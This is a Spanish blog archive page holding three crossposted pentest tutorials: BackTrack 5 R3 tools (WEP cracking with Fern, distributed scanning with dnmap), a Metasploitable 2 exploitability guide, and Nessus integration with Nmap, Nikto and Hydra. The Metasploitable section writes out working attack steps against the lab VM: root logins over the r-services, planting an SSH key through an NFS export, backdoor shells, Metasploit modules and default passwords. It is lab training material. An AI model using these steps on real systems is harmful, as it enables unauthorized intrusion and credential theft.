Mostrando entradas con la etiqueta Nmap. Mostrar todas las entradas
Mostrando entradas con la etiqueta Nmap. Mostrar todas las entradas

viernes, 28 de septiembre de 2012

Backtrack 5 R3: Parte 1

Backtrack es una de las distribuciones Linux más populares utilizadas para Pruebas de Intrusión y Auditorías de Seguridad. El equipo de desarrollo Backtrack es patrocinado por Offensive Security. El 13 de agosto de 2012, Backtrack 5 R3 fue liberado. Esto incluyó la adición de cerca de 60 nuevas herramientas, la mayoría de las cuales fueron liberadas durante las conferencias Defcon y Blackhat celebradas en Las Vegas el pasado julio de 2012. En esta serie de artículos, vamos a cubrir la mayoría de las nuevas herramientas que se incluyeron con Backtrack 5 R3 y su funcionamiento. Algunos de los cambios notables incluyen herramientas para pruebas de penetración móvil, herramientas gráficas de usuario para rompimiento WiFi y toda una nueva categoría de herramientas llamada la Explotación Física.

Obteniendo Backtrack 5 R3

Hay dos formas de empezar a trabajar rápidamente con Backtrack 5 R3. Si ya estamos ejecutando Backtrack 5 R2, podemos actualizar a BackTrack 5 R3 siguiendo los pasos descritos en esta página. O podemos hacer una nueva instalación de Backtrack 5 R3 descargando los instaladores en la sección de descargas en la web oficial de Backtrack.

Una lista de nuevas herramientas liberadas con Backtrack 5 R3 de acuerdo al sitio oficial son libcrafter, blueranger, dbd, inundator, intersect, mercury, cutycapt, trixd00r, artemisa, rifiuti2, netgear-telnetenable, jboss-autopwn, deblaze, sakis3g, voiphoney, apache-users, phrasendrescher, kautilya, manglefizz, rainbowcrack, rainbowcrack-mt, lynis-audit, spooftooph, wifihoney, twofi, truecrack, uberharvest, acccheck, statsprocessor, iphoneanalyzer, jad, javasnoop, mitmproxy, ewizard, multimac, netsniff-ng, smbexec, websploit, dnmap, johnny, unix-privesc-check, sslcaudit, dhcpig, intercepter-ng, u3-pwn, binwalk, laudanum, wifite, tnscmd10g bluepot, dotdotpwn, subterfuge, jigsaw, urlcrazy, creddump, android-sdk, apktool, ded, dex2jar, droidbox, smali, termineter, bbqsql, htexploit, smartphone-pentest-framework, fern-wifi-cracker, powersploit, y webhandler. En esta serie de artículos cubriremos la mayoría de estas herramientas.

Fern-Wifi-Cracker

Fern Wi-fi cracker es un programa desarrollado en Python que proporciona una interfaz gráfica para el rompimiento de redes inalámbricas. Por lo regular, se nos hace necesario ejecutar aireplay-ng, airodump-ng y aircrack-ng por separado al querer romper redes inalámbricas, pero Fern-Wifi-Cracker nos simplifica este trabajo, actuando como un front-end sobre estas herramientas y ocultándonos todos los detalles intrincados. También viene con un montón de herramientas que nos ayuda a ejecutar ataques tales como secuestro de sesión (session hijacking), localizar un sistema específico mediante geolocalización en base a su dirección MAC, etc. Podemos encontrar Fern Wi-fi cracker en las herramientas de explotación categoría Wireless como se muestra en la siguiente figura:


Antes de empezar con Fern-WiFi-Cracker, es importante tener en cuenta que debemos tener un adaptador WiFi que soporte la inyección de paquetes. En mi caso, tengo corriendo Backtrack 5 R3 como máquina virtual y le he conectado un adaptador WiFi externo ALFA. Podemos verificar si nuestro adaptador se puede poner en modo monitor con solo teclear airmon-ng y podremos ver la lista de interfaces que se pueden poner en modo monitor. Una vez hecho esto, podemos ejecutar Fern-WiFi-Cracker.



Seleccionamos la interfaz apropiada para ejecutar el sniffing:



Una vez se ha seleccionado la interfaz, se creará automáticamente una interfaz virtual adicional (mon0) sobre la seleccionada, como se observa en la siguiente imagen:



Ahora, hacemos click en botón de análisis para buscar las redes disponibles. Como podemos ver en los resultados, se han encontrado 11 redes WEP y 27 redes WPA.



En este caso, vamos a romper una red WEP llamada "hacknode_test" la cual he configurado para realizar pruebas. Seleccionamos del listado de redes detectadas "hacknode_test" y veremos información específica como el BSSID del punto de acceso, el canal en el que el punto de acceso está transmitiendo, etc. En la parte inferior derecha, se puede elegir entre una variedad de ataques como ARP Request Replay, Chop-Chop Attack, Fragmentation Attack, etc. En mi caso, voy a seleccionar el ataque ARP Request Replay. Una vez hecho esto, hacemos click en el botón "Attack" y se iniciará el proceso de rompimiento WEP.

Ahora veremos que se estarán capturando algunos IV (vectores de inicialización) como se muestra en la imagen siguiente. La herramienta también nos indicará si el adaptador inyecta paquetes paquetes arp correctamente o no, como se muestra en la parte inferior derecha de la imagen a continuación.



Una vez se hayan recolectado suficientes IV’s, se iniciará automáticamente el proceso de rompimiento de la llave WEP.



Dnmap

Imaginémonos que tenemos que escanear una red enorme que contiene miles de máquinas. Si hacemos la exploración mediante nmap desde una única máquina tomára bastante tiempo. Con el fin de resolver este problema, se ha creado Dnmap. Dnmap es un framework que sigue una arquitectura cliente/servidor. El servidor emite comandos de nmap a los clientes y los clientes los ejecutan. De esta manera, la carga de ejecución de una exploración grande se distribuye entre los clientes. Los comandos que el servidor le envia a sus clientes se ejecutan en una línea de comandos. Los resultados son almacenados en un archivo de log que se guarda tanto en el cliente como en el servidor. Todo el proceso de ejecución Dnmap sigue los siguientes pasos:

  1. Crea una lista de comandos que queramos ejecutar y los guarda en un archivo, Ej. comandos.txt. Notemos la dirección IP del servidor.
  2. Ejecuta el servidor dnmap y pasa el archivo de comandos como argumento.
  3. Conecta los clientes al servidor. Tengamos en cuenta que el servidor debe ser accesible desde cada cliente.

Procederemos a ejecutar la demo ahora. Tengo 2 máquinas virtuales que ejecutan ambos Backtrack 5 R3. Voy a ejecutar el servidor Dnmap en una de las máquinas virtuales y un cliente en la segunda.

Encontramos Dnamp en la ruta /pentest/scanners/dnmap. Antes de ejecutarlo, es necesario crear un archivo comandos.txt previamente. Como se puede ver en la imagen siguiente, tenemos 3 comandos de nmap en el archivo comandos.txt.




A continuación, ingresamos el comando como se muestra en la siguiente imagen para iniciar el servidor dnmap. He iniciado el servidor dnmap para que escuche en el puerto 800. Como podemos observar, actualmente no detecta cliente alguno. Por lo tanto el siguiente paso es hacer que algunos clientes se conecten a este servidor dnmap. También, es preferible definir la ubicación del archivo de log que almacenará todos los resultados.



En mi otra máquina BT5R3, ejecutaré el siguiente comando para conectar el cliente al servidor. Notemos que la dirección IP de mi servidor dnmap es 192.168.1.4 y ya que mi otra máquina virtual también se encuentra en la misma red interna, esta podrá tener alcance de red hacia el servidor. También debemos especificar el puerto del servidor al cual conectaremos el cliente. También es opcional especificar un alias para el cliente.

Una vez el cliente establezca la conexión con el servidor, veremos que el cliente empieza a ejecutar los comandos recibidos del servidor.



En el lado del servidor, notaremos que este reconoce el cliente y lo muestra en la salida de pantalla. También nos muestra continuamente información tal como el número de comandos ejecutado, tiempo de ejecución, estado en línea, etc.



Una vez las exploraciones se han completado, dnmap almacena los resultados en un directorio llamado nmap_output. Los resultados se guardan en formato .nmap, .gnmap y .xml. Hay archivos de salida separados para cada comando. Es aconsejable limpiar todos los archivos de análisis anteriores en el directorio nmap_output o guardarlos en otro lugar antes de iniciar una nueva exploración. Esta es una muestra de como se vé un archivo de resultados:




Referencias: 

Actualizar de BackTrack 5 R2 a BackTrack 5 R3
Fern-Wifi-Cracker
Dnmap framework official page


Crossposted from Backtrack 5: Part 1

miércoles, 13 de junio de 2012

Guía de Explotabilidad de Metasploitable 2

Metasploitable 2


La máquina virtual Metasploitable es una versión de Ubuntu Linux intencionalmente vulnerable diseñada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La versión 2 de esta máquina virtual se encuentra disponible para la descarga desde Sourceforge.net y contiene aún muchas más vulnerabilidades que la imágen original. Esta máquina virtual es compatible con VMWare, VirtualBox, y otras plataformas de virtualización comunes. De manera predeterminada, las interfaces de red de Metasploitable se encuentran atadas a los adaptadores de red NAT y Host-only, y la imagen no debe exponerse a una red hostíl. Este artículo describe muchas de las fallas de seguridad en la imagen de Metasploitable 2. En la actualidad hace falta documentación sobre el servidor web y las fallas de aplicaciones web, así como las vulnerabilidades que permiten a un usuario local escalar a privilegios de root.

Este documento se seguirá ampliando con el tiempo a medida que muchos de los defectos menos evidentes en esta plataforma se vayan encontrando.


Primeros Pasos


Después de arrancar la máquina virtual, inicie sesión en la consola con el usuario msfadmin y contraseña msfadmin. Desde la shell, ejecute el comando ifconfig para identificar la dirección IP. 

msfadmin@metasploitable:~$ ifconfig
 
eth0      Link encap:Ethernet  HWaddr 00:0c:29:9a:52:c1 
          inet addr:192.168.99.131  Bcast:192.168.99.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1



Servicios


Desde nuestro sistema de ataque (Linux, preferiblemente algo como Backtrack), identificaremos los servicios de red abiertos en esta máquina virtual utilizando el Scanner de Seguridad Nmap. La siguiente línea de comando analizará todos los puertos TCP en la instancia de Metasploitable 2:

root@ubuntu:~# nmap -p0-65535 192.168.99.131
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
39292/tcp open  unknown
43729/tcp open  unknown
44813/tcp open  unknown
55852/tcp open  unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)

Casi todos estos servicios en escucha proporcionan un punto de entrada remoto en el sistema. En la siguiente sección, caminaremos a través de algunos de estos vectores.



Servicios: Báses de Unix


Los puertos TCP 512, 513, y 514 son conocidos como los servicios "r", y han sido configurados erróneamente para permitir acceso remoto desde cualquier máquina (una situación típica ".rhosts + +"). Para tomar ventaja de esto, nos aseguraremos de que el cliente rsh-client se encuentre instalado (en Ubuntu), y ejecutamos el siguiente comando como usuario root local. Si se nos solicita una llave SSH, esto significa que las herramientas rsh-client no han sido instaladas y Ubuntu está predeterminando a utilizar SSH.

# rlogin -l root 192.168.99.131
Last login: Fri Jun  1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
root@metasploitable:~#


Esto se pone tan bueno como se vé. El próximo servicio que debe tener en cuenta es el sistema de archivos de red (NFS). NFS puede ser identificado sondeando el puerto 2049 directamente o pidiendo a portmapper obtener una lista de servicios. El siguiente ejemplo usando rpcinfo para identificar NFS y showmount -e para determinar que el recurso compartido "/" (la raíz del sistema de archivos) estará siendo exportado. Necesitaremos los paquetes de Ubuntu rpcbind y nfs-common para seguir adelante. 

root@ubuntu:~# rpcinfo -p 192.168.99.131
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  53318  status
    100024    1   tcp  43729  status
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100021    1   udp  46696  nlockmgr
    100021    3   udp  46696  nlockmgr
    100021    4   udp  46696  nlockmgr
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100021    1   tcp  55852  nlockmgr
    100021    3   tcp  55852  nlockmgr
    100021    4   tcp  55852  nlockmgr
    100005    1   udp  34887  mountd
    100005    1   tcp  39292  mountd
    100005    2   udp  34887  mountd
    100005    2   tcp  39292  mountd
    100005    3   udp  34887  mountd
    100005    3   tcp  39292  mountd

root@ubuntu:~# showmount -e 192.168.99.131
Export list for 192.168.99.131:
/ *


Obtener acceso a un sistema con un sistema de archivos modificable como este es algo trivial. Para que sea así (y porque SSH está ejecutándose), generaremos una nueva llave SSH en nuestro sistema atacante, montamos el export NFS y agregamos nuestra llave al archivo authorized_keys de la cuenta de usuario root:

root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh root@192.168.99.131
Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~#



Servicios: Backdoors


En el puerto 21, Metasploitable 2 ejecuta vsftpd, un servidor FTP popular. Esta versión en particular contiene una puerta trasera (backdoor) que fue introducida en el código fuente por un intruso desconocido. El backdoor fue rápidamente identificado y eliminado, pero no antes de que unas cuantas personas ya lo hubieran descargado. Si un nombre de usuario es enviado terminando con la secuencia " :) " (carita felíz), la versión con el backdoor abrirá una shell en escucha en el puerto 6200. Podemos demostrar esto con telnet o utilizando un módulo de Metasploit Framework para explotarlo automáticamente:

root@ubuntu:~# telnet 192.168.99.131 21
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.

root@ubuntu:~# telnet 192.168.99.131 6200
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)


En el puerto 6667, Metasploitable 2 corre el demonio IRC UnreaIRCD. Esta versión contiene un backdoor que pasó desapercibido por meses, - disparado al enviar las letras "AB" seguidas de un comando del sistema al servidor en cualquier puerto en escucha. Metasploit tiene un módulo para explotar esto con el fin de obtener una shell interactiva, como se muestra a continuación.

msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf  exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf  exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700

id
uid=0(root) gid=0(root)


Mucho menos sutíl es el viejo backdoor remanente "ingreslock" que escucha en el puerto 1524. El puerto ingreslock era una opción popular hace una década para agregar una puerta trasera a un servidor comprometido. Accederlo es fácil:

root@ubuntu:~# telnet 192.168.99.131 1524
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)



Servicios: Backdoors No-Intencionales


Además de las puertas traseras maliciosas de la sección anterior, algunos servicios son casi puertas traseras por su propia naturaleza. El primero de estos que está instalado en Metasploitable 2 es distccd. Este programa hace que sea fácil escalar grandes tareas de compilación a través de una granja de sistemas que aparentan estar configurados para tal fin. El problema con este servicio es que un atacante puede abusar de este para ejecutar un comando a su elección, como lo demuestra el uso del módulo de Metasploit a continuación.

msfconsole
msf > use exploit/unix/misc/distcc_exec
msf  exploit(distcc_exec) > set RHOST 192.168.99.131
msf  exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)


Samba, cuando se configura con un recurso de archivos compartidos y enlaces extensos (wide links) habilitados (los cuales vienen activados por defecto), puede utilizarse tambien como un tipo de puerta trasera para acceder archivos que no estaban destinados a ser compartidos. El siguiente ejemplo utiliza un módulo de Metasploit para proporcionar acceso al sistema de archivos raíz utilizando una conexión anónima y un recurso compartido con acceso de escritura.

root@ubuntu:~# smbclient -L //192.168.99.131
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk     
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf  auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf  auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf  auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...
[*] Trying to mount writeable share 'tmp'...
[*] Trying to link 'rootfs' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*]     \\192.168.99.131\tmp\rootfs\

msf  auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //192.168.99.131/tmp
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]


Contraseñas Débiles


Adicionalmente a las más flagrantes puertas traseras y errores de configuración, Metasploitable 2 tiene terrible seguridad de contraseña tanto para la cuenta del sistema como para la cuenta del servidor de base de datos. El usuario principal de administración msfadmin tiene una contraseña que coincide con el nombre de usuario. Al descubrir la lista de los usuarios en este sistema, ya sea mediante el uso de otro defecto para capturar el archivo passwd, o mediante la enumeración de estos identificadores de usuario a través de Samba, un ataque de fuerza bruta puede ser utilizado para acceder rápidamente a varias cuentas de usuario. Como mínimo, las siguientes cuentas débiles del sistema están configuradas en el sistema.

Nombre CuentaContraseña
msfadminmsfadmin
useruser
postgrespostgres
sysbatman
klog123456789
serviceservice


Adicional a estas cuentas a nivel de sistema, el servicio de PostgreSQL puede ser accedido con el nombre de usuario postgres y contraseña postgres, mientras que el servicio de MySQL está abierto con el nombre de usuario root y con una contraseña en blanco. El servicio de VNC proporciona el acceso de escritorio remoto a través de la contraseña password.



Crossposted from Metasploitable 2 Exploitability Guide

viernes, 5 de agosto de 2011

Integrando Nessus con Herramientas de Backtrack 5

Backtrack 5, con nombre clave "Revolution", es una distribución Linux muy popular utilizada principalmente para realizar pruebas de penetración. Contiene una grán cantidad de herramientas diferentes para realizar análisis, pruebas y explotación de vulnerabilidades en sistemas de aplicaciones web y hasta en redes inalámbricas. Ya que los creadores de Backtrack 5 han incluido tal arsenal de herramientas, pensé que sería interesante mostrar como algunas de estas herramientas pueden integrarse con nuestro servidor Nessus para extender algunas funcionalidades e importar los resultados.


Importando los Resultados de Nmap
Existen muchas ocasiones en las que Nmap es utilizado para analizar hosts específicos o una gran red de máquinas. Los resultados XML de Nmap pueden ser importados en Nessus y ser utilizados como base en el análisis de vulnerabilidades. Si vamos a utilizar los resultados de Nmap de esta forma, podemos deshabilitar las funcionalidades de análisis de puertos e identificación de hosts propias de Nessus, dependiendo así únicamente de los resultados de Nmap para realizar el análisis.



A continuación, necesitaremos descargar el script "nmapxml.nasl" desde el sitio web de Tenable a nuestro directorio de plugins:



Luego re-indexamos los plugins y reiniciamos Nessus, lo cual permitirá que el nuevo plugin sea leido y se muestre en la pestaña "Preferences":



Una vez Nessus haya reiniciado, podemos importar los resultados XML de Nmap utilizando la siguiente configuración:



Para obtener mas información, podemos consultar el artículo Using Nmap Within Nessus y el post Plugin Spotlight: Import Nmap XML Results Into Nessus.

Al utilizar esta configuración, debemos tener en cuenta que Nessus probará únicamente las máquinas y servicios reportadas por Nmap, aun asi hallamos agregado blancos adicionales específicos al crear el análisis.


Habilitando Nikto
Nikto es una herramienta de análisis de aplicaciones web que busca configuraciones erradas, directorios web accesibles abiertamente y vulnerabilidades del servidorde web. Podemos descargar Nikto desde el sitio web de CIRT. El primer paso para habilitar Nikto es modificar el archivo "/pentest/web/nikto/nikto.pl" y cambiar la variable "configfile" apuntando a "/pentest/web/nikto/nikto.conf":



Esto nos permitirá ejecutar el comando "nikto.pl" desde afuera del directorio /pentest/web/nikto. Luego agregamos "/pentest/web/nikto" al path del sistema:



Esto actualizará el path para todos los servicios que se ejecutan en la máquina, lo que significa que cuando iniciemos Nessus, nikto.pl estará en el path. El paso final es re-indexar los plugins de Nessus (/opt/nessus/sbin/nessusd -y) y reiniciar el servicio (/etc/init.d/nessusd restart). Cuando configuremos una política de análisis, Nikto estará disponible dentro de las preferencias:




Utilizando Hydra

Hydra ya se encuentra instalado en el path del sistema, lo que significa que se encuentra disponible para Nessus "out-of-the-box" en BackTrack 5. El menú de opciones para configurar Hydra se muestra en las preferencias de Nessus cuando se va a configurar una política de análisis:



Aquí necesitaremos incluir nuestros propios diccionarios de usuarios y contraseñas. Podemos encontrar algunos ejemplos de diccionarios de palabras en el directorio "/pentest/dictionaries" de Backtrack 5. Debemos asegurarnos de haber seleccionado la opción "Always enable Hydra (slow)" en la configuración de Nessus o de lo contrario Hydra no se ejecutará.


Conclusión

BackTrack 5 nos ahorra algo de tiempo al incluir todas las herramientas populares de forma predeterminada, lo cual es más rápido que tener que descargar, instalar y configurar los paquetes por nuestros propios medios. Extender los análisis de Nessus puede sernos útil a la hora de realizar análisis específicos a un pequeño grupo de máquinas. Hay que tener precaución al habilitar Nikto e Hydra al realizar un análisis en redes grandes, ya que esto aumentará el tiempo en la ejecución del mismo. En cuanto los resultados de Nmap, algunas veces otras personas ejecutarán análisis de Nmap u querrán enumerar las vulnerabilidades, y otras veces podremos ejecutar Nmap nosotros mismos y decidir luego si se requiere de un análisis de vulnerabilidades, de tal forma que la capacidad de importar los resultados evita la duplicación del esfuerzo.



Referencias

Fuente: Tenable